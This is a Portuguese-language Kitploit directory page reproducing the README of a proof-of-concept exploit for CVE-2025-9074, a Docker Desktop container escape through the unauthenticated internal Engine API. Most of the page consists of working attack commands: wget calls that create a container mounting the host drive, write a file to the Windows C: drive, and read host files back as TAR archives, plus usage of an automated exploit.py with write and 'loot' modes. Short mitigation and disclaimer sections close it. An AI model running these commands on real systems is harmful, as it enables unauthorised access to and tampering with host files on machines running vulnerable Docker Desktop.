Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2025-9074 — Exploit PoC para CVE-2025-9074 demonstrando um escape completo de contêiner do Docker Desktop no Windows e macOS através de uma API interna do Docker Engine não autenticada. | Kitploit
Ferramentas/GitHubGitHub/pucagit/cve-2025-9074
Análise de VulnerabilidadesExploraçãoTestes de PenetraçãoSegurança na NuvemAprendizado e EducaçãoEscape de Contêiner
GitHubpucagit/cve-2025-9074

CVE-2025-9074

Exploit PoC para CVE-2025-9074 demonstrando um escape completo de contêiner do Docker Desktop no Windows e macOS através de uma API interna do Docker Engine não autenticada.

Ver Repositório
há 2 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2025-9074 – Fuga Completa do Docker no Windows e macOS Docker Desktop

📌 Descrição

O Docker Desktop expõe a API interna do Docker Engine em http://192.168.65.7:2375 para qualquer contêiner em execução — sem autenticação e sem controle de acesso.

Como o próprio mecanismo pode montar o sistema de arquivos do host, um contêiner pode chamar essa API para criar um novo contêiner que monta (bind-mount) a unidade do host e, em seguida, usar esse contêiner para ler e escrever arquivos arbitrários do host — uma fuga completa do contêiner para o host.

📝 Referências

  • Registro CVE-2025-9074
  • Notas de Lançamento do Docker Desktop (corrigido na 4.44.3)
  • Pesquisa de Felix Boulet

🎯 Versões Afetadas

  • Docker Desktop ≤ 4.44.3 no Windows e macOS

⚙️ Como Funciona

  1. Acessar a API. Um contêiner em execução conecta-se à API do Docker Engine em http://192.168.65.7:2375 — nenhuma credencial é necessária.
  2. Criar um contêiner privilegiado. Ele envia POST /containers/create com Binds: ["/mnt/host:/host_root"], montando a unidade do host em um novo contêiner. Dentro da VM do Docker, o sistema de arquivos do host é exposto em /mnt/host (por exemplo, a unidade C: do Windows está em /mnt/host/c).
  3. Iniciar o contêiner. POST /containers/{id}/start ativa o bind mount, concedendo acesso total ao host.
  4. Escrever arquivos do host. O novo contêiner executa um comando que escreve dentro do bind mount (ex.: echo pwned > /host_root/c/test/pwn.txt).
  5. Ler arquivos do host. GET /containers/{id}/archive?path=... transmite qualquer caminho do host de volta como um arquivo TAR — nenhum shell é necessário.

🧪 Configuração do Laboratório

Requisitos

  • Docker Desktop anterior à versão 4.44.3 (Windows ou macOS)
  • Um contêiner atacante que possa alcançar a API interna (qualquer contêiner pode)

Preparar dados de teste (Windows)

Crie C:\test\readme.txt com algum conteúdo de exemplo para que a demonstração de leitura tenha um alvo.

poc 1

Iniciar um contêiner atacante

root@kitploit:~
docker run -it --rm alpine /bin/sh

Todos os passos manuais abaixo são executados dentro deste contêiner (alpine vem com wget). Defina uma variável de shell para a API para manter os comandos curtos:

root@kitploit:~
API=http://192.168.65.7:2375

✍️ Reprodução — ESCREVER no host

Objetivo: criar C:\test\pwn.txt no host a partir de dentro de um contêiner.

root@kitploit:~
# 1. Create a container that mounts the host C: drive and writes a file into it.
wget -q -O create.json \
  --header='Content-Type: application/json' \
  --post-data='{"Image":"alpine","Cmd":["sh","-c","echo pwned > /host_root/c/test/pwn.txt"],"HostConfig":{"Binds":["/mnt/host:/host_root"]}}' \
  $API/containers/create

# 2. Extract the new container ID from the JSON response.
cid=$(cut -d'"' -f4 create.json)

# 3. Start it — the command runs and writes the file to the host.
wget -q -O - --post-data='' $API/containers/$cid/start

O que aconteceu:

  • Binds: /mnt/host:/host_root monta as unidades do host no novo contêiner.
  • O comando do contêiner escreve pwned em C:\test\pwn.txt (/host_root/c/test/pwn.txt).
  • Nenhuma credencial foi necessária.

Resultado esperado: C:\test\pwn.txt agora existe no host.

poc 2


📖 Reprodução — LER do host

Objetivo: ler C:\test\readme.txt do host a partir de dentro de um contêiner.

root@kitploit:~
# 1. Create + start a container with the host drive mounted (kept alive briefly).
wget -q -O create.json \
  --header='Content-Type: application/json' \
  --post-data='{"Image":"alpine","Cmd":["sleep","30"],"HostConfig":{"Binds":["/mnt/host:/host_root"]}}' \
  $API/containers/create
cid=$(cut -d'"' -f4 create.json)
wget -q -O - --post-data='' $API/containers/$cid/start

# 2. Ask the engine for a TAR archive of the host directory, then extract it.
wget -q -O test.tar "$API/containers/$cid/archive?path=/host_root/c/test"
tar -xvf test.tar
cat test/readme.txt

O que aconteceu:

  • O mesmo bind mount expõe a unidade do host de forma amigável para leitura no novo contêiner.
  • GET /containers/{id}/archive?path=... transmite qualquer caminho do host de volta como um TAR — nenhum shell é necessário.
  • Extrair o arquivo revela o conteúdo do arquivo do host.

Resultado esperado: o conteúdo de C:\test\readme.txt é exibido.

poc 3


🤖 Exploração Automatizada — exploit.py

exploit.py automatiza ambos os fluxos. Ele usa apenas a biblioteca padrão do Python, detecta automaticamente a montagem do host (Windows /mnt/host/c vs macOS/Linux /), e traduz caminhos nativos do host para você.

A API interna (192.168.65.7:2375) só é acessível de dentro de um contêiner, então execute o script em um que tenha Python:

root@kitploit:~
# From the repo directory on the host:
docker run --rm -it -v "${PWD}:/x" python:3-alpine python /x/exploit.py info

No Windows PowerShell, use -v "${PWD}:/x"; no cmd.exe use -v "%cd%:/x".

Verificar acesso

root@kitploit:~
python /x/exploit.py info

Faz ping na API, detecta o SO do host e lista as entradas de montagem do host de nível superior.

Escrever um arquivo do host

root@kitploit:~
# Windows host
python /x/exploit.py write 'C:\test\pwn.txt' --content 'pwned via CVE-2025-9074'

# macOS/Linux host (or pipe content via stdin)
echo "pwned" | python /x/exploit.py write /tmp/pwn.txt

Ler um arquivo do host

root@kitploit:~
# Print to stdout
python /x/exploit.py read 'C:\test\readme.txt'

# Or extract (file or whole directory) into ./loot
python /x/exploit.py read 'C:\test' --out ./loot

Flags úteis


🛡️ Mitigação

  • Atualize o Docker Desktop para ≥ 4.44.3 no Windows e macOS.
  • Não execute imagens não confiáveis; a API não corrigida é acessível a partir de qualquer contêiner.

⚠️ Aviso Legal

Este PoC é apenas para testes autorizados, educação e pesquisa. O autor não assume nenhuma responsabilidade por uso indevido. Execute-o apenas contra sistemas que você possui ou tem permissão para testar.


🙏 Atribuição

Este PoC e README são derivados da pesquisa de Felix Boulet. Todo o crédito pela descoberta e análise originais pertence ao autor original.


📜 Licença

Este projeto é licenciado sob a Licença MIT.

Baixar ferramenta
FlagFinalidade
--api URLSubstituir o endpoint da API (padrão http://192.168.65.7:2375)
--image NAMEImagem para o contêiner de exploração (padrão alpine, baixada automaticamente se ausente)
--vm-mount PATHIgnorar detecção automática e forçar a montagem do host na VM (ex.: /mnt/host ou /)